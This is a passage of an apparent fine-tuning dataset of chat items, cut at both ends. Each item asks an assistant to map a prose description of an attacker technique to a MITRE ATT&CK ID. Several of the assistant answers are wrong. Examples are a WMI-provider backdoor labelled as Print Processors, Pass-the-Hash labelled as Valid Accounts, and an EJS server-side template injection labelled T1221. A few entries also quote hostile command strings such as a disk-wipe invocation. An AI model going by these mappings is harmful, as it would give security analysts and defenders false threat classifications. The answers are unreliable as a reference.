            {
                "role": "user",
                "content": "Threat actor installs a launch daemon that disables security software by loading a malicious kernel extension at boot."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider accessed the Google Cloud Console dashboard to exfiltrate project configurations and service accounts."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the BIOS firmware image to install a rootkit that survives OS reinstall."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code changes the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot to enable Safe Mode on the next boot."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts Windows registry keys that hold application configuration settings, including encrypted passwords."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom kernel module is compiled, placed in /usr/lib/modules, and loaded via a systemd service that triggers at boot."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor changes the frequency of its network requests to mimic regular user activity patterns."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a TLS session, the attacker exploits a weak cipher suite to tamper with encrypted packets, changing transaction amounts before decryption."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script encodes exfil data within DNS TXT records and queries an attacker-controlled domain to retrieve the hidden information."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses msbuild to execute a DLL payload hidden within a legitimate build script on compromised endpoint."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party CDN serves altered JavaScript that captures authentication tokens from users and sends them to the attacker, who then forges authenticated web sessions."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet is used to send a massive volume of UDP packets to a target's network interface, overwhelming the endpoint's bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted request exploits template injection flaws in a Node.js application using EJS, allowing the attacker to execute arbitrary shell commands."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A red team operation employed msiexec with the /qn option to silently execute a backdoor embedded in an MSI file, demonstrating proxy execution of a system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using NTP monlist requests with a forged victim IP, the attacker amplifies traffic to overwhelm the target's bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accessed Confluence via the /rest/api/content/search endpoint to collect internal meeting notes."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deployed a malicious payload on a compromised web hosting service to serve command‑and‑control traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extracts a valid code signing private key from a compromised build server to sign their backdoor."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor registers itself as a Windows Management Instrumentation (WMI) provider to survive reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing spear phishing tactics to obtain credentials for access to specific systems enables an attacker to conduct targeted lateral movement within those areas of the network."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group hijacks an existing web hosting provider account to serve malicious JavaScript to victims."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers employed a technique of stripping the payload of any telltale markers before embedding it in a legitimate document."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a compromised vendor’s remote access tool to move laterally across the corporate network and exfiltrate payroll data for fraudulent wire transfers."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a technique to strip the payload of identifiable markers, delivering a lean binary to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries CPUID and checks for known hypervisor signatures before executing its payload."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs a reverse tunneling technique via a legitimate third-party cloud service, establishing a bidirectional channel that tunnels traffic through the cloud API."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs a rapid succession of authentication attempts that trigger a resource‑heavy password hash computation, overwhelming the authentication service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool enumerates built-in and custom security groups in the corporate AD."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor calls the AWS IAM `list-groups` API to enumerate IAM groups within the victim's AWS account."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "    The group uses a compromised SaaS web service to relay commands and steal data.   "
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages access token manipulation to maintain persistence on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit code checks for unusual timing delays that suggest a debugger is stepping through instructions."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows built‑in utility regsvr32.exe to run a malicious scriptlet from a remote URL."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ Pass-the-Hash techniques with valid domain account hashes to gain lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mavinject is used to perform a DLL injection into the winlogon.exe process, enabling the attacker to run malicious code under the guise of a legitimate binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group modifies the .bash_profile of the root user to run a malicious script on each shell start."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors replace the legitimate antivirus client binary with a malicious copy to disable protection."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders key to discover the user’s profile directory."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compromises a public website and injects malicious JavaScript that automatically exploits visitors' browsers."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker smuggles a malicious macro inside the EXIF data of a JPEG image that is later extracted by a malicious script on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows NetUserAdd function with the UF_ACCOUNTDISABLE flag and a descriptive comment that mimics a built‑in account."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a legitimate system utility like certutil to download a script, then triggers its execution via a scheduled job."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses PowerShell to assign delegate access to a compromised account, granting full mailbox control to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses the Windows “net use” command to capture credentials for remote shares."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code hijacks a legitimate process by creating a new process in a suspended state and overwriting its PE image."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the XPC connection between a legitimate update daemon and its helper, the attacker executes arbitrary commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor enumerates public certificate repositories to find expired or misissued certificates that could be exploited."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After achieving persistence, the malware executes `wipedisk.exe /full` to completely wipe the system's primary volume."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged the SharePoint REST API to harvest internal reports and spreadsheets."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach involved taking over a Windows DNS service, allowing the attacker to serve fake responses."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a known exploit in a popular PDF reader to cause the host system to hang."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email instructs users to run \"mmc.exe /s evil.msc\", which then executes a PowerShell chain for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged SSH to remotely execute commands on a Linux server after obtaining valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies DNS settings to point to a rogue proxy that intercepts and forwards traffic."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a SQL injection flaw, the threat actor defaced the internal HR portal with fake policy updates."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a forged code signature to make a phishing payload appear as a trusted application, evading Gatekeeper's controls."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email claims to contain an urgent invoice, and when the victim clicks the link, they are taken to a clone of the company's login page."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed a supply chain attack on a software update server, injecting malware into distributed packages."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries enumerate public DNS records and perform zone transfers to gather information about the victim’s network."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Kerberos policy on the domain controller to allow unlimited ticket lifetimes."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a VPN tunnel to route stolen files to an off‑site server, bypassing typical network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker configures a custom PHP script on a compromised web server to act as a beacon, allowing remote commands to be sent via HTTP GET parameters."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses PowerShell's Get-NetIPConfiguration cmdlet to collect details about the system's network adapters."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device captures and replays SSH handshake packets to hijack an ongoing remote administration session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor launches a TCP SYN flood against a server, exhausting its connection table and rendering the endpoint unavailable."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploit a vulnerability to dump access tokens from an iOS app's secure enclave."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes the Python zipfile module to create an archive of gathered credentials."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a compromised Google Docs sharing link sent via email to lure the victim into visiting a malicious site."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a man‑in‑the‑middle proxy to intercept credentials over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider disabled the firewall logging feature in a multi‑cloud environment, preventing detection of malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses launchctl stop to terminate antivirus processes before launching their exploit."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inject malicious code into legitimate running processes to obscure its presence"
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Windows' Application Shimming mechanism to execute a PowerShell script whenever the victim opens Microsoft Word."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the ROMMON prompt to upload a backdoor firmware, allowing persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a firmware update mechanism to load a malicious pre‑OS payload."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new root certificate and uses it to issue subordinate certificates for signing malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script harvests browser cookies and exfiltrates them through a pre‑configured HTTP webhook controlled by the attacker."
            },
